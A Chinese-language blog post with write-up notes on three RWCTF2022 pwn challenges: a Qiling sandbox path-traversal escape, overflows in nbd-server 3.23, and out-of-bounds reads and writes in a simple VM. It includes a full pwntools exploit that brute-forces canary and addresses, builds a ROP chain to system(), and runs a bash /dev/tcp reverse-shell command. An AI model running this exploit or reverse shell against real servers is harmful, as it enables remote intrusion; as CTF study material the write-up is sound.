RWCTF2022 Pwn 笔记1

一、简介

这里是复盘 RWCTF2022 关于:

  • QLaas
  • Who Moved My Block
  • SVME

这三道题时所写下的一些笔记。

受限于时间与效率,一部分题目的 exp 将不再贴出,只会记录下解题或利用的详细流程。

二、QLaas

1. QLaas 小叙

1
2
3
4
5
6
Qiling as a Service.
nc 47.242.149.197 7600
QLaaS_61a8e641694e10ce360554241bdda977.tar.gz
Note: read flag using /readflag

Clone-and-Pwn, difficulty:Schrödinger

该题只给了一个这样的脚本,用于读取用户传来的文件并将其放入麒麟沙箱(rootfs 为一个临时文件夹):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3

import os
import sys
import base64
import tempfile
# pip install qiling==1.4.1
from qiling import Qiling

def my_sandbox(path, rootfs):
ql = Qiling([path], rootfs)
ql.run()

def main():
sys.stdout.write('Your Binary(base64):\n')
line = sys.stdin.readline()
binary = base64.b64decode(line.strip())

with tempfile.TemporaryDirectory() as tmp_dir:
fp = os.path.join(tmp_dir, 'bin')

with open(fp, 'wb') as f:
f.write(binary)

my_sandbox(fp, tmp_dir)

if __name__ == '__main__':
main()

题目要求:执行 /readflag 来获取 flag(注意不是直接读取 /flag)

2. qiling 框架环境配置

1
2
3
4
5
6
7
8
9
# 下拉麒麟框架
git clone git@github.com:qilingframework/qiling.git
cd qiling
# 在麒麟框架代码中放入题目附件
nano main.py
# 创建自己的 exp
touch exp.cpp

# 装个 PyCharm (别用 VSCode 调试)

3. 漏洞点

unicorn 框架是 qiling 框架的核心,qiling 还在该基础之上额外实现了很多功能,包括与 OS 的一些交互操作等等。qiling 自己实现了一系列 syscall 调用,并让沙箱程序通过这些 qiling syscall 来间接与 OS 进行交互。

但倘若这些 qiling syscall 内部存在缺陷,那么沙箱程序便可以通过这些 syscall 进行沙箱逃逸。

qiling 默认会在执行沙箱程序时,将沙箱程序内部调用的 syscall 日志输出:

image-20220124202600131

这样,通过字符串搜索 + 动态调试并结合信息搜索,我们可以得出这些 syscall in posix 的实现是位于 qiling/qiling/os/posix/syscall/ 文件夹下。接下来便是代码审计 + 调试了。

通过 被大佬带飞 审计与调试,我们可以发现在 ql_syscall_openat 函数中存在目录穿越漏洞。为了说明这个目录穿越,我们先简单的使用 open 函数来写个程序跑跑看看 qiling 的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <bits/stdc++.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

using namespace std;

int main() {
int fd = open("../../../../../../../../proc/self/", O_RDONLY, 0);

return 0;
}

如上图,实际所调用的 syscall 不是 SYS_open,而是 SYS_openat。

当调用 ql_syscall_openat时,实际进行文件打开的操作位于函数 ql.os.fs_mapper.open_ql_file

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def ql_syscall_openat(ql: Qiling, fd: int, path: int, flags: int, mode: int):
file_path = ql.os.utils.read_cstring(path)
# real_path = ql.os.path.transform_to_real_path(path)
# relative_path = ql.os.path.transform_to_relative_path(path)

flags &= 0xffffffff
mode &= 0xffffffff

idx = next((i for i in range(NR_OPEN) if ql.os.fd[i] == 0), -1)

if idx == -1:
regreturn = -EMFILE
else:
try:
if ql.archtype== QL_ARCH.ARM:
mode = 0

flags = ql_open_flag_mapping(ql, flags)
fd = ql.unpacks(ql.pack(fd))

if 0 <= fd < NR_OPEN:
dir_fd = ql.os.fd[fd].fileno()
else:
dir_fd = None

# 注意:在这里打开实际的文件,并将打开的文件描述符放入 fd array 中
ql.os.fd[idx] = ql.os.fs_mapper.open_ql_file(file_path, flags, mode, dir_fd)

regreturn = idx
except QlSyscallError as e:
regreturn = -e.errno

ql.log.debug(f'openat(fd = {fd:d}, path = {file_path}, mode = {mode:#o}) = {regreturn:d}')

return regreturn

继续读读 ql.os.fs_mapper.open_ql_file 函数源码。由于我们是尝试打开正常的文件,因此走下面 else 分支:

1
2
3
4
5
6
7
8
9
10
11
def open_ql_file(self, path, openflags, openmode, dir_fd=None):
if self.has_mapping(path):
self.ql.log.info(f"mapping {path}")
return self._open_mapping_ql_file(path, openflags, openmode)
else:
# 进入该分支
if dir_fd:
return ql_file.open(path, openflags, openmode, dir_fd=dir_fd)

real_path = self.ql.os.path.transform_to_real_path(path)
return ql_file.open(real_path, openflags, openmode)

如果不存在 dir_fd,则调用 transform_to_real_path 函数将传入的 path 转换为真正的 path,即绝对路径。而调用 transform_to_real_path 处理 path 的调用链如下所示:

1
2
3
4
5
6
convert_for_native_os, path.py:106
convert_path, path.py:114
transform_to_real_path, path.py:131
open_ql_file, mapper.py:106
ql_syscall_openat, fcntl.py:108
[....]

最终,qiling 会在 convert_for_native_os 函数中,过滤掉无效的目录穿越路径

1
2
3
4
5
6
7
8
9
10
11
@staticmethod
def convert_for_native_os(rootfs: Union[str, Path], cwd: str, path: str) -> Path:
_rootfs = Path(rootfs) # _rootfs : /tmp/tmpldhylv0h
_cwd = PurePosixPath(cwd[1:]) # _cwd : .
_path = Path(path) # _path : ../../../../../../../../proc/self

if _path.is_absolute():
return _rootfs / QlPathManager.normalize(_path)
else:
# 走该分支,返回 /tmp/tmpldhylv0h/proc/self
return _rootfs / QlPathManager.normalize(_cwd / _path.as_posix())

之后在上面的 open_ql_file 函数中,调用 ql_file.open 函数来与 OS 交互,而该函数是没有任何路径过滤的:

1
2
3
4
5
6
7
8
9
10
11
@classmethod
def open(cls, open_path: AnyStr, open_flags: int, open_mode: int, dir_fd: int = None):
open_mode &= 0x7fffffff

try:
# 传入进来的路径直接与 OS 交互,无任何过滤
fd = os.open(open_path, open_flags, open_mode, dir_fd=dir_fd)
except OSError as e:
raise QlSyscallError(e.errno, e.args[1] + ' : ' + e.filename)

return cls(open_path, fd)

这样看来,qiling openat syscall 没法路径穿越?非也。注意到 open_ql_file 函数中的这句代码:

1
2
3
4
5
6
7
8
9
10
11
12
def open_ql_file(self, path, openflags, openmode, dir_fd=None):
if self.has_mapping(path):
self.ql.log.info(f"mapping {path}")
return self._open_mapping_ql_file(path, openflags, openmode)
else:
# 如果存在 dir fd
if dir_fd:
# 则 path 将直接与 OS 进行交互,没有经过任何过滤
return ql_file.open(path, openflags, openmode, dir_fd=dir_fd)

real_path = self.ql.os.path.transform_to_real_path(path)
return ql_file.open(real_path, openflags, openmode)

因此如果我们在调用 qiling openat syscall 时传入一个恶意的目录穿透路径,那就可以进行目录穿透攻击

动手试一试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <bits/stdc++.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>

using namespace std;

int main() {
int root_fd = open("/", O_RDONLY);
int mem_fd = openat(root_fd, "../../../../proc/self/mem", O_RDWR, 0);

return 0;
}

可以发现两个 SYS_openat 均执行成功,可以达到目录穿越的效果:

image-20220124212115135

目录穿越后,我们便可以尝试读写任意文件。

注意到 flag 只能通过执行 /readflag 来获取,因此我们可以尝试对 /proc/self/mem 进行读写。

该文件是进程的内存内容,修改该文件等同于直接修改该进程的虚拟地址空间,我们可以试着将自己的 shellcode 放入代码段中并执行。

需要注意的是,该文件不能直接读取,需要结合 /proc/self/maps 的映射信息来确定读的偏移值。即无法读取未被映射的区域。

4. 利用流程

利用流程如下:

  • 第一次执行:读取 /proc/self/exe,将远程机器上的 python 二进制文件 dump 到本地,获取其 GOT 表的相对偏移位置。
  • 第二次执行:读取 /proc/self/maps
    • 获取远程机器 python 程序的基地址,加上 GOT 相对偏移得到 GOT 表的绝对地址。
    • 获取远程机器上 python 程序的可执行代码段地址,将 shellcode 写入可执行代码段中。
    • 修改 GOT 表上的条目入口为 shellcode ,之后尝试触发所被修改 GOT 表的函数,使 python 执行 shellcode。

这题利用较为简单,exp 鸽了。

三、Who Moved My Block

1. wmmb 小叙

1
2
3
4
5
6
On Linux, network block device (NBD) is a network protocol that can be used to forward a block device (typically a hard disk or partition) from one machine to a second machine. As an example, a local machine can access a hard disk drive that is attached to another computer.
https://github.com/NetworkBlockDevice/nbd
nc 47.242.113.232 31337
attachment

Clone-and-Pwn, difficulty:baby

2. wmmb 环境搭建

查看题目提供的二进制开启的保护(好家伙,真就全开):

image-20220125115931741

下拉源码编译,

1
2
3
4
5
6
7
8
9
10
11
12
wget https://versaweb.dl.sourceforge.net/project/nbd/nbd/3.23/nbd-3.23.tar.gz
tar -xvf nbd-3.23.tar.gz
cd nbd-3.23
./configure --enable-debug
# 编译时启用 Full RELRO、Canary、NX 和 PIE
make "CFLAGS += -fstack-protector-all -pie -z now -z noexecstack"
# make install

./nbd-server 0.0.0.0:10809 ${PWD}/../WhoMovedMyBlock/container/rootfs.ext2
# 注意,直接执行 nbd-server 会在输出信息后,**前台进程** 立即转为后台进程,移交控制权给 shell
# 该进程仍然在后台执行,可以使用以下命令探查到
ps -ax | grep "nbd"

image-20220124222106716

调试时,如果不希望让该进程转为后台进程,则 make 时添加 flag:make "CFLAGS += -DNODAEMON"

3. 漏洞点

a. 漏洞寻找

远程机器上会架起一个 nbd-server,很明显我们需要向这个 nbd-server 发起一个连接,并尝试在发送的 payload 中构造一些恶意的字段。

那么我们就需要尝试去审计代码(代码位于 nbd-3.23/nbd-server.c),找到一条不受信任输入 -> 无过滤 -> 访问内存这样的一条途径。

那就首先从 accept 函数开始找起,它是整个 socket 连接的起点,通过它我们可以根据交叉引用找到处理连接的函数 handle_modern_connection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static void
handle_modern_connection(GArray *const servers, const int sock, struct generic_conf *genconf)
{
[...]
net = socket_accept(sock);
if (net < 0)
return;

if (!dontfork) {
// 重要!:注意这里会 fork 出一个子进程来单独处理新连接
pid = spawn_child(&commsocket);
if (pid) {
if (pid > 0) {
msg(LOG_INFO, "Spawned a child process");
g_array_append_val(childsocks, commsocket);
}
if (pid < 0)
msg(LOG_ERR, "Failed to spawn a child process");
close(net);
return;
}
/* Child just continues. */
}
[...]

// 连接协商
client = negotiate(net, servers, genconf);

[...]

msg(LOG_INFO, "Starting to serve");

// 开始处理
mainloop_threaded(client);
exit(EXIT_SUCCESS);
handler_err:
[...]
}

需要注意的是,默认情况下对于每个连接,server 都会 fork 一个新的子进程来单独处理。这个特性相当重要,因为我们可以利用这个特性来爆破 canary 和 PIE

image-20220125123033017

该函数会调用 negotiate 函数,并创建结构体 CLIENT,将新连接的 fd 赋给该 client,之后后续使用 socket_read(client, addr, len) 来从 client(即我们这边)读取数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
/**
* Do the initial negotiation.
*
* @param net The socket we're doing the negotiation over.
* @param servers The array of known servers.
* @param genconf the global options (needed for accessing TLS config data)
**/
CLIENT* negotiate(int net, GArray* servers, struct generic_conf *genconf) {
uint16_t smallflags = NBD_FLAG_FIXED_NEWSTYLE | NBD_FLAG_NO_ZEROES;
uint64_t magic;
uint32_t cflags = 0;
uint32_t opt;
// 创建并初始化 client 结构体
CLIENT* client = g_new0(CLIENT, 1);
// 将 socket fd 赋给 cleint
client->net = net;
client->socket_read = socket_read_notls;
client->socket_write = socket_write_notls;
client->socket_closed = socket_closed_negotiate;

assert(servers != NULL);
socket_write(client, INIT_PASSWD, 8);
magic = htonll(opts_magic);
socket_write(client, &magic, sizeof(magic));

smallflags = htons(smallflags);
socket_write(client, &smallflags, sizeof(uint16_t));
// 从 client 读取数据
socket_read(client, &cflags, sizeof(cflags));
cflags = htonl(cflags);
[...]
}

这样,我们可以全局搜索 socket_read的使用并对其进行审计。该函数使用的次数不多,只有不到 20次,因此人工审计还是很快的。通过审计可以找到3个漏洞点。

注意,审计时忽略了 TLS 相关的函数,因为远程不启用 TLS 交互。

b. 漏洞

0) codeql

author: sakura.

顺手写了一下codeql的数据流分析,这里考虑两种简单写法,一种是将网络端序转换的函数例如htol作为source,然后socket_read作为sink点检查size溢出。

另一种是将socket_read的第二个参数,这个接收用户输入的地方作为source点,然后将看能否污点到binary operation或者污点到source_read的第三个参数。

这里写了下后者的QL。

在写codeql的时候注意到QL的数据流分析其实是比较保守的,所以需要自己去连接一些边。

sakuraimg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
/**
* @kind path-problem
*/

import DataFlow::PathGraph
import cpp
import semmle.code.cpp.ir.dataflow.TaintTracking

predicate htonlCallEdge(DataFlow::Node node1, DataFlow::Node node2) {
exists(FunctionCall fc |
// fc.getTarget().getName() = "htonl" and
node1.asExpr() = fc.getAnArgument() and
node2.asExpr() = fc
)
}

class MyDataFlowConfiguration extends TaintTracking::Configuration {
MyDataFlowConfiguration() { this = "MyDataFlowConfiguration" }

override predicate isSource(DataFlow::Node source) {
exists(FunctionCall fc | fc.getArgument(1) = source.asExpr() |
fc.getTarget().hasGlobalName("socket_read")
)
}

override predicate isSink(DataFlow::Node sink) {
sink.asExpr().getLocation().toString().matches("%nbd-server%") and
sink.asExpr() instanceof BinaryArithmeticOperation
// exists(FunctionCall fc | fc.getArgument(2) = sink.asExpr() |
// fc.getTarget().hasGlobalName("socket_read")
// )
}

override predicate isAdditionalTaintStep(DataFlow::Node node1, DataFlow::Node node2) {
htonlCallEdge(node1, node2)
}
}

from MyDataFlowConfiguration config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select sink.getNode(), source, sink, ""
1) handle_export_name

一个整数溢出所造成的堆溢出漏洞点位于 handle_export_name 函数中:

可以造成任意长度的堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
static CLIENT* handle_export_name(CLIENT* client, uint32_t opt, GArray* servers, uint32_t cflags) {
uint32_t namelen;
char* name;
int i;
// 从 client 读入 namelen
socket_read(client, &namelen, sizeof(namelen));
namelen = ntohl(namelen);
if(namelen > 0) {
// 这里没有做整数溢出判断,因此如果 namelen 为 0xffffffff,那么实际 malloc 的 size 为 0
// 因此这里会造成堆溢出
name = malloc(namelen+1);
name[namelen]=0;
socket_read(client, name, namelen);
} else {
name = strdup("");
}
[...]
}
2) handle_info

该函数中有两个漏洞点,其中一个还是和上面类似的堆溢出

还是可以造成任意长度的堆溢出。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
static bool handle_info(CLIENT* client, uint32_t opt, GArray* servers, uint32_t cflags) {
uint32_t namelen, len;
char *name;
int i;
SERVER *server = NULL;
[...]
char buf[1024];
[...]

socket_read(client, &len, sizeof(len));
len = htonl(len);
// 1. 从远程读入 namelen
socket_read(client, &namelen, sizeof(namelen));
namelen = htonl(namelen);
if(namelen > (len - 6)) {
send_reply(client, opt, NBD_REP_ERR_INVALID, -1, "An OPT_INFO request cannot be smaller than the length of the name + 6");
socket_read(client, buf, len - sizeof(namelen));
}
if(namelen > 0) {
// 2. 没有判断便直接加1,执行 malloc(0) 造成堆溢出
name = malloc(namelen + 1);
// *. 缺点,需要做风水绕过 0xffffffff 的越界写,因为这里可能会造成 SIGSEGV。
name[namelen] = 0;
socket_read(client, name, namelen);
} else {
name = strdup("");
}
[...]
}

还有一个是溢出长度不受限的栈溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
static bool handle_info(CLIENT* client, uint32_t opt, GArray* servers, uint32_t cflags) {
uint32_t namelen, len;
char *name;
int i;
SERVER *server = NULL;
[...]
char buf[1024];
[...]

// 1. 从远程读入 len
socket_read(client, &len, sizeof(len));
len = htonl(len);
// 2. 从远程读入 namelen
socket_read(client, &namelen, sizeof(namelen));
namelen = htonl(namelen);
// 3. 进入 if 分支
if(namelen > (len - 6)) {
send_reply(client, opt, NBD_REP_ERR_INVALID, -1, "An OPT_INFO request cannot be smaller than the length of the name + 6");
// 4. 从 client 读入数据,由于 len 可控,因此可以造成栈溢出
socket_read(client, buf, len - sizeof(namelen));
}
if(namelen > 0) {
name = malloc(namelen + 1);
name[namelen] = 0;
socket_read(client, name, namelen);
} else {
name = strdup("");
}
[...]
}

4. 利用流程

  • 首先,连接远程,并手动构造恶意数据字段,触发栈溢出,爆破出 Canary 和 PIE,进而计算出$addr_{ELF-base}、addr_{GOT}、addr_{system}、addr_{gadgets}$等等。

  • leak 出这些后,我们需要将待执行的 cmd 传递给 system 函数。但我们发来的所有数据都存储在 heap 中,cmd 自然也不例外,因此我们还需要 leak 出堆地址。

    注意到 handle_info 函数栈上存放了一个 old r12 数据,指向 client,我们可以试着爆破这个栈上数据来获取堆地址。

    需要注意的是,连接远程时是使用 socket 进行通信,因此 cmd 不能是直接的 cat /flag,必须将所执行命令的 stdout 导入到我们连接的 socket fd 上。

    最简单的方式就是反弹 shell至我们的主机上。

  • 最后使用 ROP 一把梭。

5. Exploit

这题 exploit 有点意思,所以本人试着自己动手写了下:

注意,exp 中的偏移量等使用的是自编译的 nbd-server。

由于本人根据远程的保护,在编译时对等开启了相应的保护,因此实际上编译出的 nbd-server 和远程的 binary,其内部偏移几乎无差别,因此该 exp 只需简单改改部分偏移量即可解远程 binary。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
#! python3
from pwn import *
context(
terminal=['gnome-terminal', '-x', 'bash', '-c'],
os='linux',
arch='amd64',
encoding='latin',
endian="little", # 注意:网络端序是大端序
log_level="info",
)

'''
stack layout:

- 0x400 bytes buf
- 8 bytes unknown field
- canary
- 8 bytes unknown field
- old_rbx
- old_rbp
- old_r12 : client_addr
- old_r13
- old_r14
- old_r15
- return addr
'''

def send_new_request(payload):
p = remote("127.0.0.1", 10809)
cmd = b' '*0x25 + b"sleep 5; bash -c \"bash -i >& /dev/tcp/127.0.0.1/8001 0>&1\""

p.send(p32(0, endian="big")) # cflags
p.send(b"IHAVEOPT") # opt_magic
p.send(p32(7, endian="big")) # opt: NBD_OPT_GO
p.send(p32(len(payload) + 4, endian="big")) # len

namelen = len(payload)
p.send(p32(namelen, endian="big")) # namelen (> (len - 6))

p.send(payload) # payload

padding_len = namelen - len(cmd)
assert padding_len >= 0
p.send(cmd + b'\x00'*padding_len) # name 指针,用于存放执行 system 函数的命令参数

p.send(p16(0, endian="big")) # n_requests

return p

def exploit_stack_data(payload, target_len=8):
data = b""
while len(data) < target_len:
for ch in range(256):
p = send_new_request(payload + data + p8(ch))
p.clean()

log.info("Getting stack mem: " + \
hex(int.from_bytes(data,byteorder='little')) + \
", ch: " + str(ch))
try:
p.recv(timeout=1)
p.close()
data += p8(ch)
break
except EOFError:
p.close()

return data

if __name__ == '__main__':
b2i = lambda addr : int.from_bytes(addr,byteorder='little')

if True:
canary = p64(0x5af9ebae046ded00)
client_addr = p64(0x555cbd36c9b0)
ret_addr = p64(0x555cbbb901b7)
else:
canary = None
client_addr = None
ret_addr = p8(0xb7) # 手动指定最后一个字节,提高爆破精度
ret_addr_offset = 0x91B7

if canary is None:
canary = exploit_stack_data(b'a'*0x408, target_len=8)
log.info("=================================")
log.success("canary: " + hex(b2i(canary)))
input()

if client_addr is None:
client_addr = exploit_stack_data(b'a'*0x408 + canary + b'b'*0x18, target_len=8)
log.info("=================================")
log.success("client addr: " + hex(b2i(client_addr)))
input()

if len(ret_addr) < 8:
ret_addr += exploit_stack_data(
b'a'*0x408 + canary + b'b'*0x18 + client_addr + b'c'*0x18 + ret_addr, target_len=7)
log.info("=================================")
log.success("ret addr: " + hex(b2i(ret_addr)))
input()

elf = ELF("./nbd-server")
elf.address = b2i(ret_addr) - ret_addr_offset
log.success("ELF base addr: " + hex(elf.address))
assert elf.address & 0xfff == 0

elf_rop = ROP(elf)
elf_rop.system(b2i(client_addr) + 0x180)
print(elf_rop.dump())

log.info("Try getting reverse shell")
p = send_new_request(b'a'*0x408 + canary + b'b'*0x18 + client_addr + b'c'*0x18 + elf_rop.chain())
p.interactive()

坑点主要在于爆破。整个 exp 中爆破是重中之重,但在低地址字节处的爆破容易产生误报,因此最好多爆破几次。需要爆破的数据主要有以下三点:

  • canary 爆破:错1个字节就直接 abort,这在爆破上是件好事,最容易爆破的数据。

  • ret address 爆破:需要手动指定最低地址的那个字节,以提高爆破精度。低地址 1 字节的值可以通过 IDA 得知(注意页对齐大小为 0x1000)。

  • client address 爆破:由于调用 handle_info 函数时,调用者会将 client 的地址压入栈上(old r12),因此在离开 handle_info 之前,需要执行pop r12指令。我们可以尝试对该 r12 进行爆破,以获取到 client 地址,并根据相对偏移获取存储 system 命令的 name 内存地址。

    注意点

    • 由于程序中较多使用 socket_read 函数,该函数会使用到 client 上的函数指针,因此 client 地址哪怕偏移一个字节都会造成 SIGSEGV,这在爆破上是一件好事。
    • 但是在实际爆破过程中,client addr 是比较容易误报的,需要仔细甄别。

四、SVME

1. SVME 小叙

1
2
3
4
5
Professor Terence Parr has taught us how to build a virtual machine. Now it's time to break it!
nc 47.243.140.252 1337
attachment

Clone-and-Pwn, Virtual Machine, difficulty:baby

一个简易的开源 VM,baby 难度。

2. SVME 环境搭建

题目给了一个 libc-2.31.so 附件和 main.c :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdbool.h>
#include <unistd.h>
#include "vm.h"

int main(int argc, char *argv[]) {
int code[128], nread = 0;
while (nread < sizeof(code)) {
int ret = read(0, code+nread, sizeof(code)-nread);
if (ret <= 0) break;
nread += ret;
}
VM *vm = vm_create(code, nread/4, 0);
vm_exec(vm, 0, true);
vm_free(vm);
return 0;
}

执行以下命令配置环境:

1
2
3
4
5
git clone git@github.com:parrt/simple-virtual-machine-C.git
cp ./main.c /simple-virtual-machine-C-master/src/vmtest.c
cd simple-virtual-machine-C-master
cmake .
make

3. 漏洞点

首先,我们可以在 #L40 看到 VM 结构体的布局:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
typedef struct {
int returnip;
int locals[DEFAULT_NUM_LOCALS];
} Context;

typedef struct {
int *code;
int code_size;

// global variable space
int *globals;
int nglobals;

// Operand stack, grows upwards
int stack[DEFAULT_STACK_SIZE];
Context call_stack[DEFAULT_CALL_STACK_SIZE];
} VM;

根据 main.c 的代码,可以得知创建出的 VM 结构体,其 code 字段指向栈globals 字段指向堆

而在 opcode LOAD 和 STORE 的处理中,我们可以看到,这里可以 相对 VM 结构体(注意结构体在堆中) 偏移任意字节进行读写。

1
2
3
4
5
6
7
8
9
case LOAD: // load local or arg
offset = vm->code[ip++];
vm->stack[++sp] = vm->call_stack[callsp].locals[offset];
break;
[...]
case STORE:
offset = vm->code[ip++];
vm->call_stack[callsp].locals[offset] = vm->stack[sp--];
break;

同时,opcode GLOAD 和 GSTORE 可以让我们相对 globals 指针所指向的内存偏移任意字节进行读写。

1
2
3
4
5
6
7
8
case GLOAD: // load from global memory
addr = vm->code[ip++];
vm->stack[++sp] = vm->globals[addr];
break;
case GSTORE:
addr = vm->code[ip++];
vm->globals[addr] = vm->stack[sp--];
break;

这样,我们便可以利用这些 opcode 来泄露指针并任意读写内存,进而修改 libc 上的 free hook,在 VM 退出时劫持控制流。

4. 利用流程

  • 使用 STORE,让 VM->stack 向低地址处移动,读取 globals 和 code 的指针值,并保存 vm->call_stack 上,之后恢复 VM->stack

    恢复时需要覆写 globals 和 code 指针,注意需要覆写正确。

  • 使用任意地址读,读取栈上的 libc_start_main return address,计算出 libc base、free_hook 和 one_gadget addr。

  • 使用任意地址写,修改 free_hook 上的地址条目为 one_gadget,劫持控制流获取 shell。

这题利用较为简单,exp 鸽了。

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2020-2024 Kiprey
  • 访问人数: | 浏览次数:

请我喝杯咖啡吧~